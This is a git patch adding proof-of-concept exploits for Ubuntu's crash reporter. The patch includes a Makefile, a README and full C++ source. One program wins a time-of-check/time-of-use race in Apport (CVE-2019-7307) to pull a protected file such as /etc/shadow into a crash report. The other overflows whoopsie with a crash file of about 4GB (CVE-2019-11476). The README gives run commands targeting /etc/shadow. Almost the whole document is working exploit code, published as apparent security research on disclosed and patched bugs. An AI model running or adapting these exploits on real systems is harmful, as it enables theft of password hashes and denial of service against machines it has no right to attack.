From f82de0cde43b0d7a7c23a26bf9fb3b9f562cb61f Mon Sep 17 00:00:00 2001 From: Kevin Backhouse Date: Thu, 15 Aug 2019 18:05:40 -0700 Subject: [PATCH] Exploit PoC for Ubuntu Apport CVE-2019-7307. --- .../.gitignore | 2 + .../Makefile | 10 + .../README.md | 51 +++ .../gencrashreport.cpp | 351 ++++++++++++++++++ .../killwhoopsie1.cpp | 66 ++++ .../utils.cpp | 239 ++++++++++++ .../utils.hpp | 95 +++++ 7 files changed, 814 insertions(+) create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp create mode 100644 Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore new file mode 100644 index 0000000..77fd212 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore @@ -0,0 +1,2 @@ +gencrashreport +killwhoopsie1 diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile new file mode 100644 index 0000000..adae904 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile @@ -0,0 +1,10 @@ +all: gencrashreport killwhoopsie1 + +gencrashreport: gencrashreport.cpp utils.cpp + g++ -Wall -O2 gencrashreport.cpp utils.cpp -o gencrashreport + +killwhoopsie1: killwhoopsie1.cpp utils.cpp + g++ -Wall -O2 killwhoopsie1.cpp utils.cpp -o killwhoopsie1 + +clean: + rm -f gencrashreport killwhoopsie1 diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md new file mode 100644 index 0000000..27d2361 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md @@ -0,0 +1,51 @@ +# Ubuntu Apport TOCTOU (CVE-2019-7307) and whoopsie heap buffer overflow (CVE-2019-11476) + +This directory contains proof-of-concept exploits for vulnerabilities in Ubuntu's crash reporting system: + +* [CVE-2019-7307](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7307) is a time-of-check to time-of-use (TOCTOU) vulnerability in Apport, which enables an unprivileged local user to trick Apport into including the contents of an arbitrary file in a crash report. The full bug report is public on [bugs.launchpad.net](https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1830858). +* [CVE-2019-11476](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11476) is a denial of service vulnerability. An integer overflow when reading large crash dumps (> 4GB) leads to a heap buffer overflow. I do not believe it is possible to exploit this heap buffer overflow to achieve code execution, so I have classified this bug as a denial of service. The full bug report is public on [bugs.launchpad.net](https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830863). + +## Instructions + +I usually try to provide a `Dockerfile` so that my PoCs are safely reproducible on a patched system. Unfortunately, Apport is specifically designed to behave differently inside a container, so I am not able to do so this time. Instead, if you would like to test the exploit, then you will need to revert the bug fix in your Apport installation. You can do that as follows: + +``` +git clone https://git.launchpad.net/ubuntu/+source/apport +cd apport +git checkout applied/2.20.9-0ubuntu7.6 +sudo cp apport/report.py /usr/lib/python3/dist-packages/apport/report.py +``` + +When you are done, don't forget to fix your installation: + +``` +sudo apt-get install --reinstall python3-apport +``` + +Build the PoC for Apport CVE-2019-7307 like this: + +``` +make +``` + +And run it like this: + +``` +./gencrashreport /etc/shadow +``` + +This will create a file named `/var/crash/_usr_share_apport_apport.0.crash`, which is owned by `root`, but also readable by `whoopsie`. For a full exploit chain, we would therefore also need a second exploit that enables us to read files as whoopsie. But since we don't have that yet, we need to change the permissions of the crash report: + +``` +sudo chmod 666 /var/crash/_usr_share_apport_apport.0.crash +``` + +At this point, you can unpack the crash report and see that the contents of `/etc/shadow` are embedded in the `CoreDump` file: + +``` +mkdir report +apport-unpack /var/crash/_usr_share_apport_apport.0.crash report +cd report +``` + +Note: `apport-unpack` is a bit flaky and usually crashes with an error message like this: `['ProcEnviron', 'UserGroups'] has no binary content`. But it works well enough to extract the core dump from the report. Now use your favorite text editor to open `CoreDump` and search for the contents of `/etc/password`. Searching for the string "root:" usually works. diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp new file mode 100644 index 0000000..ab64c35 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp @@ -0,0 +1,351 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "utils.hpp" + +// Names of special files. +const char* var_crash_ = "/var/crash"; +const char* lock_path_ = "/var/crash/.lock"; +const char* lock_bak_path_ = "/var/crash/.lock.bak"; +const char* var_crash_bin_sleep_prefix_ = "/var/crash/_bin_sleep."; +const char* dotcrash_ = ".crash"; +const char* apport_ignore_name_ = ".apport-ignore.xml"; +const char* apport_ignore_bak_name_ = ".apport-ignore.xml.bak"; +const char* expatbuilder_cpython_ = + "/usr/lib/python3.6/xml/dom/__pycache__/expatbuilder.cpython-36.pyc"; +const char apport_cmdline[] = "/usr/bin/python3\0/usr/share/apport/apport"; + +// Search `/proc/*/cmdline` to find the PID of Apport. +pid_t get_apport_pid() { + const pid_t apport_pid = + search_pid(apport_cmdline, sizeof(apport_cmdline)); + if (apport_pid < 0) { + throw Error("Could not find apport PID."); + } + return apport_pid; +} + +// Main class for triggering Apport. +class TriggerApportMain { + const char* const targetfile_; // Forbidden file that we want to read. + const AutoCloseFD homedir_fd_; // File descriptor for $HOME + const AutoCloseFD listensock_; // TCP listening socket + const std::string apport_ignore_path_; // `$HOME/.apport-ignore.xml` + const std::string apport_ignore_bak_path_; // `$HOME/.apport-ignore.xml.bak` + const std::string corefile_path_; // `/var/crash/_bin_sleep..crash` + + pid_t spawn_child_process(); + void create_special_files(); + +public: + TriggerApportMain( + const char* targetfile, const char* homedir, const int homedir_fd, + const int listensock + ); + ~TriggerApportMain(); + + void run(); +}; + +TriggerApportMain::TriggerApportMain( + const char* targetfile, const char* homedir, const int homedir_fd, + const int listensock +) : targetfile_(targetfile) + , homedir_fd_(homedir_fd) + , listensock_(listensock) + , apport_ignore_path_(std::string(homedir) + "/" + apport_ignore_name_) + , apport_ignore_bak_path_(std::string(homedir) + "/" + apport_ignore_bak_name_) + , corefile_path_(std::string(var_crash_bin_sleep_prefix_) + + std::to_string(getuid()) + + dotcrash_) +{ +} + +TriggerApportMain::~TriggerApportMain() { + // Clean up all the files. If everything worked as expected then the + // ".bak" files should already be gone, but we try to remove them anyway + // just in case something went wrong. + unlinkat(homedir_fd_.get(), apport_ignore_name_, 0); + unlinkat(homedir_fd_.get(), apport_ignore_bak_name_, 0); + unlinkat(AT_FDCWD, lock_path_, 0); + unlinkat(AT_FDCWD, lock_bak_path_, 0); + unlinkat(AT_FDCWD, corefile_path_.c_str(), 0); +} + +// Create a file named `~/.apport-ignore.xml` and a symlink named +// `.apport-ignore.xml.bak`. The first file is just a temporary file which +// we will use to bypass a file permission check: Apport calls +// `os.access()` to check that we have permission to read +// `~/.apport-ignore.xml`. The second file is a symlink which points to the +// file that we really want to read (but don't have permission to). So we +// will replace the first file with the symlink immediately after the +// `os.access()` has happened. But we create both files in advance so that +// the switcheroo can be done as quickly as possible (with a rename +// syscall). +void TriggerApportMain::create_special_files() { + // Try to create `/var/crash/.lock` first, because if it fails then the + // entire exploit isn't going to work. + AutoCloseFD lockfile_fd( + create_file( + AT_FDCWD, lock_path_, S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + + // Create `/var/crash/.lock.bak`. It will replace `/var/crash/.lock` + // once Apport has started. + AutoCloseFD lockfile_bak_fd( + create_file( + AT_FDCWD, lock_bak_path_, S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + + char bogustxt[] = "kevwozere"; + create_and_write_file( + homedir_fd_.get(), + apport_ignore_name_, + bogustxt, + sizeof(bogustxt), + S_IRUSR | S_IWUSR + ); + + createSymlink(targetfile_, homedir_fd_.get(), apport_ignore_bak_name_); +} + +// This where we exploit the TOCTOU vulnerability. This is the source +// location of the vulnerability: +// +// https://git.launchpad.net/ubuntu/+source/apport/tree/apport/report.py?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n962 +// +// Apport allows the user to place a file in their home directory named +// `~/.apport-ignore.xml`. The call to os.access() on line 962 is intended +// to check that this file belongs to the correct user. But on line 967, +// the file is read again using xml.dom.minidom.parse. This creates a +// window of opportunity for an attacker to replace the file with a +// symlink. The symlink does not need to point to a valid XML file, because +// there is a try-except around the call to the parser, so if the file is +// invalid then Apport just ignores it and continues. However, the contents +// of the file still ends up in Apport's heap. +// +// I used `sudo strace -e file -tt -p ` to discover that +// `expatbuilder.cpython-36.pyc` is opened immediately before +// `.apport-ignore.xml` is parsed. So we can use inotify to watch +// `expatbuilder.cpython-36.pyc` and replace `.apport-ignore.xml` with a +// symlink at exactly the right moment. This is also good time to do +// the switcheroo on `/var/crash/.lock`. +void file_switcheroo( + const pid_t cpid, // PID of process that we are going to crash + const int inotify_fd, // File descriptor for inotify + const int homedir_fd // File descriptor for $HOME +) { + add_watch(inotify_fd, expatbuilder_cpython_, IN_OPEN | IN_ONESHOT); + + // Trigger the crash. + kill(cpid, SIGSEGV); + + // Use `poll` to wait for an inotify event. + fd_wait_for_read(inotify_fd); + + // Do the switcheroo on `.apport-ignore.xml`. It is now a symlink to the + // file that we want to read (but aren't supposed to). + const int r0 = + renameat(homedir_fd, apport_ignore_bak_name_, + homedir_fd, apport_ignore_name_); + if (unlikely(r0 < 0)) { + throw ErrorWithErrno("Rename of .apport-ignore.xml failed."); + } + + // Do the switcheroo on `/var/crash/.lock`. This is to stop the second + // Apport from deadlocking with the first. This trick works because locks + // created by lockf are only "advisory". Replace the lock file with a new + // file deactivates the lock. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n50 + const int r1 = rename(lock_bak_path_, lock_path_); + if (unlikely(r1 < 0)) { + throw ErrorWithErrno("Rename of /var/crash/.lock failed."); + } + + drain_fd(inotify_fd); +} + +// Do a `posix_spawn` of `/bin/sleep`. +pid_t TriggerApportMain::spawn_child_process() { + char prog[] = "/bin/sleep"; + char arg[] = "60s"; + char *const argv[3] = {prog, arg, 0}; + + // If we start /bin/sleep with a DBUS_SESSION_BUS_ADDRESS environment + // variable then Apport will open a socket to the specified address + // (which is controlled by this process - Mwahahaha). This enables us + // to control the timing of the attack more precisely. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n266 + // Actually, I have to confess that I only included this + // DBUS_SESSION_BUS_ADDRESS bit for giggles. I am confident that I + // could get the PoC to work without it. But I did find this "feature" + // of Apport quite useful while I was investigating how Apport + // works. It enabled me to easily pause Apport while it was running, + // which was useful as a debugging feature. + const uint16_t port = getportnumber(listensock_.get()); + std::cout << "listening on port " << port << "\n"; + char dbus[128]; + snprintf( + dbus, sizeof(dbus), + "DBUS_SESSION_BUS_ADDRESS=tcp:host=127.0.0.1,bind=*,port=%d", + port + ); + char *const envp[2] = {dbus, 0}; + + pid_t cpid = 0; + const int r = posix_spawn(&cpid, "/bin/sleep", 0, 0, argv, envp); + if (r != 0) { + throw ErrorWithErrno("posix_spawn failed."); + } + + return cpid; +} + +void TriggerApportMain::run() { + // Spawn `/bin/sleep`. This is the program that we will crash. + const pid_t cpid = spawn_child_process(); + + std::cout << "/bin/sleep started with PID " << cpid << "\n"; + + create_special_files(); + + // Initialize inotify. + const AutoCloseFD inotify_fd(inotify_init1(IN_NONBLOCK | IN_CLOEXEC)); + if (inotify_fd.get() < 0) { + throw ErrorWithErrno("inotify_init1 failed"); + } + + file_switcheroo(cpid, inotify_fd.get(), homedir_fd_.get()); + + std::cout << "switcheroo done\n"; + + // Wait for Apport to connect to our socket. + fd_wait_for_read(listensock_.get()); + + sockaddr addr; + socklen_t addr_len = sizeof(addr); + memset(&addr, 0, addr_len); + const AutoCloseFD dbus_sock(accept(listensock_.get(), &addr, &addr_len)); + if (dbus_sock.get() < 0) { + throw ErrorWithErrno("accept failed"); + } + + std::cout << "socket accepted\n"; + const pid_t apport_pid = get_apport_pid(); + std::cout << "apport PID = " << apport_pid << "\n"; + + // Add a watcher for the core file getting created. + add_watch(inotify_fd.get(), var_crash_, IN_CREATE | IN_ONESHOT); + + // Close the accepted socket so that Apport will continue. + shutdown(dbus_sock.get(), SHUT_RD); + close(dbus_sock.get()); + + // Wait for a file to be created in `/var/crash`. + fd_wait_for_read(inotify_fd.get()); + drain_fd(inotify_fd.get()); + + // Now we need to wait until apport starts to write the core + // file. Unfortunately, we cannot use inotify for this because the file + // is initially owned by root, so we do not have permission to watch + // it. So we have to settle for the inelegant solution of looping + // until we can read the file. + size_t count = 0; + while (1) { + count++; + const AutoCloseFD corefile_fd(open(corefile_path_.c_str(), O_RDONLY)); + if (corefile_fd.get() >= 0) { + break; + } + } + std::cout << "count = " << count << "\n"; + + // Add a watcher for the core file getting written. + add_watch(inotify_fd.get(), corefile_path_.c_str(), IN_MODIFY | IN_ONESHOT); + + // Use `poll` to wait for an inotify event. + fd_wait_for_read(inotify_fd.get()); + drain_fd(inotify_fd.get()); + + // Change the core limit of Apport to 0:0. It is currently set to 1, + // which is another attempt to prevent Apport from getting into a + // recursive loop. This seems to be quite an obscure feature. I learned + // about it here: + // https://bugs.launchpad.net/ubuntu/+source/linux/+bug/498525/comments/3 + const struct rlimit new_limit = {0,0}; + if (prlimit(apport_pid, RLIMIT_CORE, &new_limit, 0) < 0) { + throw ErrorWithErrno("prlimit failed"); + } + + // Kill Apport. Apport sets a few signal handlers in `setup_signals`, so + // we need to choose a core-generating signal that it doesn't have a + // handler for. SIGTRAP works. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n149 + kill(apport_pid, SIGTRAP); + + // Add a watch for `/var/crash/.lock` getting opened. Otherwise we + // might accidentally delete it (in `~TriggerApportMain()`) before + // the next Apport starts up. Which will lead to it being owned by + // root, which will prevent us from running the exploit again. + add_watch(inotify_fd.get(), lock_path_, IN_OPEN | IN_ONESHOT); + fd_wait_for_read(inotify_fd.get()); + drain_fd(inotify_fd.get()); +} + +int main(int argc, char* argv[]) { + try { + // Don't place restrictions on file permissions created by this + // program. + umask(0); + + if (argc < 2) { + const char* progname = (argc > 0) ? argv[0] : "apportread"; + throw Error( + std::string("Usage: ") + progname + " " + ); + } + + // Open a TCP port. Apport will connect to this port during + // `is_closing_session`. + // See: https://git.launchpad.net/ubuntu/+source/apport/tree/data/apport?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n266 + const int listensock = create_bind_and_listen_tcp(); + + const char* targetfile = argv[1]; + const char* homedir = getenv("HOME"); + if (!homedir) { + throw Error("HOME environment variable is not set."); + } + + // Get a file descriptor for the home directory, so that we can mostly + // use the openat/renameat/... file operations. (Annoyingly, + // inotify_add_watch doesn't have a "*at" API, so we still need to use + // the full path for that.) + const int homedir_fd = open(homedir, O_PATH | O_CLOEXEC); + if (homedir_fd < 0) { + throw Error(std::string("Could not open ") + homedir); + } + + TriggerApportMain triggerApportMain( + targetfile, homedir, homedir_fd, listensock + ); + triggerApportMain.run(); + } catch (ErrorWithErrno& e) { + int err = e.getErrno(); + std::cerr << e.what() << "\n" << strerror(err) << "\n"; + exit(EXIT_FAILURE); + } catch (std::exception& e) { + std::cerr << e.what() << "\n"; + exit(EXIT_FAILURE); + } + + exit(EXIT_SUCCESS); +} diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp new file mode 100644 index 0000000..90b6033 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/killwhoopsie1.cpp @@ -0,0 +1,66 @@ +#include +#include +#include +#include +#include +#include +#include +#include "utils.hpp" + +// Proof-of-concept for CVE-2019-11476. +// "Integer overflow in parse_report (whoopsie.c:425)" +// Bug report: https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830863 +// +// The PoC works by creating a file named `/var/crash/killwhoopsie.crash`, +// just over 4GB in size. It then creates a file named +// `/var/crash/killwhoopsie.upload`, which prompts whoopsie to start +// processing the .crash file. Be aware that whoopsie will keep restarting +// and crash repeatedly until you remove the files from /var/crash. + +int main() { + try { + AutoCloseFD crash_fd( + create_file( + AT_FDCWD, "/var/crash/killwhoopsie.crash", S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + + // Create a value just under 4GB in size. + write_or_throw(crash_fd.get(), "x: ", 3); + write_repeated_buffer(crash_fd.get(), "kevwozere", 9, 0x100000000ULL - 16); + // Increase the size of the value by continuing on the next line. + // This causes an integer overflow here: + // http://bazaar.launchpad.net/~daisy-pluckers/whoopsie/trunk/view/698/src/whoopsie.c#L425 + write_or_throw(crash_fd.get(), "\n ", 2); + + // Interestingly, if we make `mchunkhdr` exactly 15 bytes long then the + // `value` doesn't get deallocated in `destroy_key_and_value` + // (whoopsie.c:350), because `*(char*)value == '\0'`. + const unsigned char mchunkhdr[16] = + { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, + 0xF0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 'x' + }; + write_or_throw(crash_fd.get(), (const char*)mchunkhdr, sizeof(mchunkhdr)); + write_or_throw(crash_fd.get(), "\n", 1); + + // Invalid sequence so that whoopsie will error out. + write_or_throw(crash_fd.get(), "y:\n\n", 4); + + // whoopsie doesn't start reading the `.crash` file until we create the + // corresponding `.upload` file. + AutoCloseFD upload_fd( + create_file( + AT_FDCWD, "/var/crash/killwhoopsie.upload", S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + } catch (ErrorWithErrno& e) { + int err = e.getErrno(); + std::cerr << e.what() << "\n" << strerror(err) << "\n"; + exit(EXIT_FAILURE); + } catch (std::exception& e) { + std::cerr << e.what() << "\n"; + exit(EXIT_FAILURE); + } + + exit(EXIT_SUCCESS); +} diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp new file mode 100644 index 0000000..145952a --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.cpp @@ -0,0 +1,239 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "utils.hpp" + +AutoCloseFD::~AutoCloseFD() { + close(fd_); +} + +ScanDirAt::~ScanDirAt() { + if (n_ >= 0) { + for (int i = 0; i < n_; i++) { + free(namelist_[i]); + } + free(namelist_); + } +} + +// Create a TCP socket and start listening. We will let the OS choose +// the port number. +int create_bind_and_listen_tcp() { + // Create a socket for listening on the port. + const int sock = + socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC | SOCK_NONBLOCK, 0); + if (sock < 0) { + throw ErrorWithErrno("Failed to create socket."); + } + + // Allow the port to be reused as soon as the program terminates. + int one = 1; + if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) { + throw ErrorWithErrno("Failed to set SO_REUSEADDR."); + } + + // Bind the port. + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_port = 0; // Ask OS to choose a port number + addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); // localhost + + if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + throw ErrorWithErrno("Error binding TCP socket to port."); + } + + // Start listening. + if (listen(sock, SOMAXCONN) < 0) { + throw ErrorWithErrno("listen failed."); + } + + return sock; +} + +// Find out which port number the socket is bound to. We need this because +// we asked the OS to choose the port number for us (in +// `create_bind_and_listen_tcp`, above). +uint16_t getportnumber(const int sock) { + struct sockaddr_in sin; + socklen_t len = sizeof(sin); + if (getsockname(sock, (struct sockaddr *)&sin, &len) < 0) { + throw ErrorWithErrno("getsockname failed."); + } + return ntohs(sin.sin_port); +} + +// Add an inotify watch. +int add_watch(const int inotify_fd, const char* filename, uint32_t mask) { + std::cout << "adding watch for " << filename << "\n"; + const int wd = inotify_add_watch(inotify_fd, filename, mask); + if (wd < 0) { + throw ErrorWithErrno( + std::string("inotify_add_watch of ") + filename + " failed." + ); + } + return wd; +} + +// Create a symlink: `linkname` -> `target` +// `newdirfd` is used as the current directory if `linkname` is a relative +// path. +void createSymlink( + const char* target, const int newdirfd, const char* linkname +) { + if (symlinkat(target, newdirfd, linkname) < 0) { + throw ErrorWithErrno(std::string("Could not create symlink ") + linkname); + } + std::cout << "symlink created: " << linkname << " -> " << target << "\n"; +} + +// Create a file. This function will throw an exception if the file already +// exists. +int create_file(int dirfd, const char *pathname, mode_t mode) { + const int fd = + openat(dirfd, pathname, O_CREAT | O_WRONLY | O_TRUNC | O_EXCL | O_CLOEXEC, mode); + if (fd < 0) { + throw ErrorWithErrno(std::string("Could not create ") + pathname); + } + return fd; +} + +// Write the buffer to the file descriptor. Throw an exception if something +// goes wrong. +void write_or_throw(const int fd, const char* buf, size_t buflen) { + const ssize_t n = write(fd, buf, buflen); + if (n < 0) { + throw ErrorWithErrno("write failed"); + } + if (static_cast(n) != buflen) { + throw Error("incomplete write"); + } +} + +// Create a file and write the contents of `buf` to it. This function +// will throw an exception if the file already exists. +void create_and_write_file( + int dirfd, const char *pathname, const char* buf, size_t buflen, mode_t mode +) { + const AutoCloseFD fd(create_file(dirfd, pathname, mode)); + write_or_throw(fd.get(), buf, buflen); + std::cout << "file created: " << pathname << "\n"; +} + +// Utility for writing enormous strings to a file. Repeatedly writes `msg` to +// the file until exactly `totallen` bytes have been written. (The final copy +// of `msg` might get truncated.) +void write_repeated_buffer( + const int fd, const char* msg, size_t msglen, size_t totallen +) { + // Create a large block with 4096 copies of the message, to reduce the number + // of calls to `write`. + std::string block; + block.reserve(msglen * 4096); + for (size_t i = 0; i < 4096; i++) { + block.append(msg, msglen); + } + + const char* blockptr = block.c_str(); + size_t blocksize = block.size(); + size_t pos = 0; + while (1) { + pos += blocksize; + if (pos <= totallen) { + write_or_throw(fd, blockptr, blocksize); + } else { + // The block is too big. So we need to rewind and write out a + // smaller number of bytes. + pos -= blocksize; + write_or_throw(fd, blockptr, totallen - pos); + // We are done. + return; + } + } +} + +// Use `poll` to wait for the file descriptor to be readable. +void fd_wait_for_read(const int inotify_fd) { + const nfds_t nfds = 1; + struct pollfd pollfds[1] = {0}; + pollfds[0].fd = inotify_fd; + pollfds[0].events = POLLIN; + + while (1) { + const int poll_num = poll(pollfds, nfds, -1); + if (unlikely(poll_num < 0)) { + const int err = errno; + if (err == EINTR) { + continue; + } + throw ErrorWithErrno("poll failed"); + } + + if (likely(poll_num > 0)) { + if (likely(pollfds[0].revents & POLLIN)) { + break; + } + } + } +} + +// Read all the available input on the file descriptor. (We use this to +// reset inotify after it has reported an event.) +void drain_fd(const int fd) { + char buf[4096]; + while (read(fd, buf, sizeof(buf)) > 0); +} + +// Kill a child process and wait for it. +void kill_and_wait(const pid_t cpid, const int sig) { + if (kill(cpid, sig) < 0) { + throw ErrorWithErrno("kill() failed"); + } + if (waitpid(cpid, 0, 0) < 0) { + throw ErrorWithErrno("waitpid() failed"); + } +} + +// Search `/proc/*/cmdline` to find the PID of a running program. +pid_t search_pid(const char *cmdline, size_t cmdline_len) { + AutoCloseFD procdir_fd(open("/proc", O_PATH | O_CLOEXEC)); + if (procdir_fd.get() < 0) { + throw ErrorWithErrno("Could not open /proc."); + } + ScanDirAt scanDir(procdir_fd.get()); + + const int n = scanDir.size(); + for (int i = 0; i < n; i++) { + const char* subdir_name = scanDir.get(i); + AutoCloseFD subdir_fd( + openat(procdir_fd.get(), subdir_name, O_PATH | O_CLOEXEC) + ); + if (procdir_fd.get() < 0) { + continue; + } + AutoCloseFD cmdline_fd( + openat(subdir_fd.get(), "cmdline", O_RDONLY | O_CLOEXEC) + ); + if (cmdline_fd.get() < 0) { + continue; + } + + // Check if the command line matches. + char buf[0x1000]; + ssize_t r = read(cmdline_fd.get(), buf, sizeof(buf)); + if (r < 0 || static_cast(r) < cmdline_len) { + continue; + } + if (memcmp(buf, cmdline, cmdline_len) == 0) { + // The name of the sub-directory is the PID. + return atoi(subdir_name); + } + } + return -1; +} diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp new file mode 100644 index 0000000..71cc0d3 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/utils.hpp @@ -0,0 +1,95 @@ +#include +#include +#include + +#define likely(x) __builtin_expect(!!(x), 1) +#define unlikely(x) __builtin_expect(!!(x), 0) + +// Exception class. Caught in main(). +class Error : public std::exception { + std::string msg_; + +public: + explicit Error(const char* msg) : msg_(msg) {} + explicit Error(std::string&& msg) : msg_(std::move(msg)) {} + + const char* what() const noexcept override { + return msg_.c_str(); + } +}; + +// Exception class for system errors that include an errno. Caught in +// main(). +class ErrorWithErrno : public Error { + const int err_; + +public: + explicit ErrorWithErrno(const char* msg) : Error(msg), err_(errno) {} + explicit ErrorWithErrno(std::string&& msg) : Error(std::move(msg)), err_(errno) {} + + int getErrno() const { return err_; } +}; + +// This class automatically closes the file descriptor in its destructor. +class AutoCloseFD { + const int fd_; + + AutoCloseFD() : fd_(-1) {} + +public: + explicit AutoCloseFD(const int fd) : fd_(fd) {} + ~AutoCloseFD(); + + int get() const { return fd_; } +}; + +// Automatically free a pointer that was malloc'ed. +template +class AutoFree { + T* p_; + +public: + explicit AutoFree(T* p) : p_(p) {} + ~AutoFree() { free(p_); } + + T* get() const { return p_; } +}; + +// This class creates an array containing the names of all the files in a +// directory. It does this by running `scandirat` in its constructor. +class ScanDirAt { + struct dirent **namelist_; + const int n_; + +public: + explicit ScanDirAt(int fd) + : n_(scandirat(fd, ".", &namelist_, NULL, alphasort)) + { + if (n_ < 0) { + throw ErrorWithErrno("ScanDirAt failed."); + } + } + + ~ScanDirAt(); + + int size() const { return n_; } + + const char* get(int i) const { return namelist_[i]->d_name; } +}; + +int create_bind_and_listen_tcp(); +uint16_t getportnumber(const int sock); +int add_watch(const int inotify_fd, const char* filename, uint32_t mask); +void createSymlink(const char* target, const int newdirfd, const char* linkname); +int create_file(int dirfd, const char *pathname, mode_t mode); +void write_or_throw(const int fd, const char* buf, size_t buflen); +void create_and_write_file( + int dirfd, const char *pathname, const char* buf, size_t size, mode_t mode +); +void write_repeated_buffer( + const int fd, const char* msg, size_t msglen, size_t totallen +); +void fd_wait_for_read(const int inotify_fd); +void drain_fd(const int fd); +void kill_and_wait(const pid_t cpid, const int sig); +pid_t search_pid(const char *cmdline, size_t cmdline_len);